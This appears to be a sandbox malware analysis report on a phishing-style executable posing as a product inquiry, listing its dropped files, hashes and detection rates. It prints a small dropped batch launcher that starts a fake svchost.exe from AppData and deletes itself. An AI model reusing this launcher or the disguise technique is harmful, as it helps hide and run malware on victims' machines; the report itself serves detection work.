Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFD08.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.685194353996654
Encrypted:	false
SSDEEP:	96:TiZYWVhKPzpM6YkYUVWikzHcYEZjztEiKcyC4WNHhwa6s4aGY9M7NKId33:2ZD7iTrThJN4aGY9M7N9d33
MD5:	DF0C927278CF227B204FEFD514A4BC1F
SHA1:	8D9097BF29959D8A909A2F6CF705D8F0DF179FB5
SHA-256:	3FA4721D83DBE2B1216519F21CD1F9D7D7FBFF869E3766574297BF88F5E8169C
SHA-512:	B809006B9F770C3CBC3BA70757F3266D76EE40130E20D4EA32E5F5D6301EE919C5D623FAA67FBD8C0BE92BA9414B16B983BBBC520D38C7213B52C8A0FE8BD228
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe.log

Download File

Process:	C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vexplorers.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	411
Entropy (8bit):	5.331640912793073
Encrypted:	false
SSDEEP:	12:Q3La/hSoDLI4MWuCIAWDLI4MWuCqDLI4MWuPTAv:MLbAE4KdAmE4K5E4KO
MD5:	41DE845B592D0C0A18195E5AAB7B2A8D
SHA1:	AB0656E0E0137593BE7984F44B4603407C6F7A32
SHA-256:	ECC1BC8EFC8E479E0D7E1B4934F298B074A1D5AACAA3A73490CCCF2BFF440908
SHA-512:	F4F84F2E23A2A11D6FB0BC00384A051B7811E65DD2DE9CE4CF2923247B5721A3A0B8DB335959B15EBCD15F7A8E5E530E452B8A5A537F3C16D70BFFC6C6A654F9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.AddIn, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..2,"System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wbu0pil.k04.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3npyekog.vm3.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c3feogrm.tk1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cf3hbqo4.lap.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_crfzavkw.0h2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f1eyxsqi.pt2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_f2aiilyw.0ro.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_geyuzr4k.pba.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_htlcjiub.phh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_l4itrnkq.j3r.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_omi2ze2v.5lx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbbxlini.qoi.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ppj2exep.vdh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wbndurr1.fvw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wed2prrq.4n0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xoypvla0.5i2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmp89F4.tmp.bat

Download File

Process:	C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	151
Entropy (8bit):	5.07788813917422
Encrypted:	false
SSDEEP:	3:mKDDCMNqTtvL5ot+kiEaKC5ZACSmqRDt+kiE2J5xAInTRI3oaLHVZPy:hWKqTtT6wknaZ5Omq1wkn23fTNazVk
MD5:	FC80A1DB853B4A98AAE9CE901F05BF6E
SHA1:	820B615C0B086E37094B49DE81E8518083CAFFD7
SHA-256:	B68843F1BC66F94BB3C2644ABBD565FEC94AA27A79132C6AE51C1B701A6FF26A
SHA-512:	D44FACA4404E787713CE50E5E81968283D29769F4B55C1B96DA27AEC61420869E9E0D798D19DBD9431120FE355EFB4DA1E359EE2750C3767802972F17E80EAA2
Malicious:	false
Preview:	@echo off..timeout 3 > NUL..START "" "C:\Users\user\AppData\Roaming\svchost.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmp89F4.tmp.bat" /f /q..

C:\Users\user\AppData\Roaming\svchost.exe

Download File

Process:	C:\Users\user\Desktop\RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
File Type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	690092
Entropy (8bit):	7.889824999593694
Encrypted:	false
SSDEEP:	12288:A5rkOKFLWcw4n3BzGC9t1SJFrg632LvRpVR09BQoq:ckOKFiX4xy6c86G7BR09B3q
MD5:	E184C8B191B12744E919B3B95CE39A0E
SHA1:	FE25931E12B1F5807B95CF222CD9EE74C2CB7EA2
SHA-256:	DF9E900BC2ABA3462D0B9D2FB4E81719604F4C63871A2225EDCE136C140E8FC8
SHA-512:	8DF2BB22F07EB282247D5B98D627FC5CF8D5AC9958304C43A8916EB4EF2ECF9627AD753C07206576E9550672E57581767DCB0B1CF140BC7F2F76BDEF37A89719
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 37% Antivirus: Virustotal, Detection: 36%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d................."...0..Z............... ....@...... .......................`......v.....`.............................................................f............................y............................................................... ..H............text....Z... ...\.................. ..`.rsrc...f............^..............@..@........................................H.......\|>...;......M...................................................".(.....b.(............%...}....>.(.......}....>.(.......}....".(.....B...}......}......(.........(....&...(....&...(....&.~'......'....~(......(....~)......)....~.........R...{ ... ....`} ...R...{ ... ...._} ...R...{ ... ...@`} ...R...{ ... ...._} ...R...{ ... ... `} ...R...{ ... ...._} ...>..\|.....(?....*...(?....".(.....".(.....".(.....n.{M...{K....{L....X........0..8.......

C:\Users\user\AppData\Roaming\vexplorers\vexplorers.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	43008
Entropy (8bit):	6.244941989510716
Encrypted:	false
SSDEEP:	384:ac3JOvwWj8Gpw0A67dOpRipKJ9Yl6dnPU3SERztmbqCJstdMardz/JikPZ+TsPZX:a4JU8g17dG6Iq8XMnVYqW2Xmh829ukc
MD5:	9827FF3CDF4B83F9C86354606736CA9C
SHA1:	E73D73F42BB2A310F03EB1BCBB22BE2B8EB7C723
SHA-256:	C1CF3DC8FA1C7FC00F88E07AD539979B3706CA8D69223CFFD1D58BC8F521F63A
SHA-512:	8261828D55F3B5134C0AEB98311C04E20C5395D4347251746F3BE0FB854F36CC7E118713CD00C9867537E6E47D5E71F2B2384FC00C67F0AE1B285B8310321579
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: PO454323 Pdf.exe, Detection: malicious, Browse Filename: SARL RABINEAU Order FA2495.exe, Detection: malicious, Browse Filename: 090998948.vbs, Detection: malicious, Browse Filename: SecuriteInfo.com.Win64.ExploitX-gen.17969.12173.exe, Detection: malicious, Browse Filename: FEDEX & INVOICE.Tracking Details.exe, Detection: malicious, Browse Filename: 63762524.vbs, Detection: malicious, Browse Filename: 48727365.vbs, Detection: malicious, Browse Filename: 329182736.vbs, Detection: malicious, Browse Filename: payment pdf.exe, Detection: malicious, Browse Filename: FAC- IST9G4VW.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...D>.]..............0..X...........w... ........@.. ..............................p.....`.................................Hw..O....... ............f...B...........v............................................... ............... ..H............text....W... ...X.................. ..`.rsrc... ............Z..............@..@.reloc...............d..............@..B................\|w......H........#...Q...................u.......................................0..K........-....i.......r...p.o....,....r...p.o....-.......o......o.....$........o....(....(......:...(....o......r...p.o.......4........o......... ........o......s ........o!...s".....s#.......r]..prg..po$.....r...p.o$.....r...pr...po$.........s.........(%.....tB...r...p(&...&..r...p.('...s(.......o)...&..o....(+...o,.....&...(-...........3..@......R...s.....s....(....:.(/.....}P...J.{P....o0..

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465522001984657
Encrypted:	false
SSDEEP:	6144:eIXfpi67eLPU9skLmb0b4OWSPKaJG8nAgejZMMhA2gX4WABl0uNXdwBCswSbr:zXD94OWlLZMM6YFH5+r
MD5:	FF1F583D2D45CD4C3F8401CD449F2170
SHA1:	95D0637022E64B84B026FDCFF65AD364F911EC6A
SHA-256:	857CCAADB2353FBDE5ABEA77487E455B7F93BF439FFBDECDDF45AD5D787130B1
SHA-512:	DEE945F6816CB744463F129169F26AA801F29AFBE56637DC58BFF208230C00ECE29DE8A912443B4AA3B82E246FC5E9B9A85557ABBBB37E805A49773AFE2CF9EB
Malicious:	false
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmr.%H.................................................................................................................................................................................................................................................................................................................................................3\|........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32+ executable (console) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.889824999593694
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe
File size:	690'092 bytes
MD5:	e184c8b191b12744e919b3b95ce39a0e
SHA1:	fe25931e12b1f5807b95cf222cd9ee74c2cb7ea2
